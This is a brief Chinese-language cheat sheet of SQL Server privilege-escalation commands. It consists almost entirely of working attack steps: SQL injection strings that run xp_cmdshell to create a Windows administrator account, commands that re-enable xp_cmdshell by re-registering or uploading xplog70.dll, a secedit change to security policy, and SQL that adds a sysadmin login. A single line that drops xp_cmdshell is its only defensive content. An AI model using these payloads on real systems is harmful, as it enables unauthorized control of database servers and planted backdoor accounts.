SQL Server提升权限相关命令及防范

;exec master..xp_cmdshell "net user name password /add"--

 

;exec master..xp_cmdshell "net localgroup administrators name /add"--

 

程序代码开启cmdshell的SQL语句

 

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

 

判断存储扩展是否存在

 

select count from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

 

返回结果为1就OK

 

恢复xp_cmdshell

 

Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

 

返回结果为1就OK

 

否则上传xplog7.0.dll

 

Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

 

堵上cmdshell的SQL语句

 

sp_dropextendedproc "xp_cmdshell"

 

DOS:

 

dir c:/

 

dir d:/

 

dir e:/

 

net user TsInternetUsers Password /add

 

net localGroup Administrators TsInternetUsers /add

 

备份恢复IPSEC

 

secedit /export /CFG c:/tmp.inf

 

echo sedenynetworklogonright =>>c:/tmp.inf

 

secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

 

SQL:

 

exec master..sp_addlogin UserName,Password

 

exec master..sp_addsrvrolemember UserName,sysadmin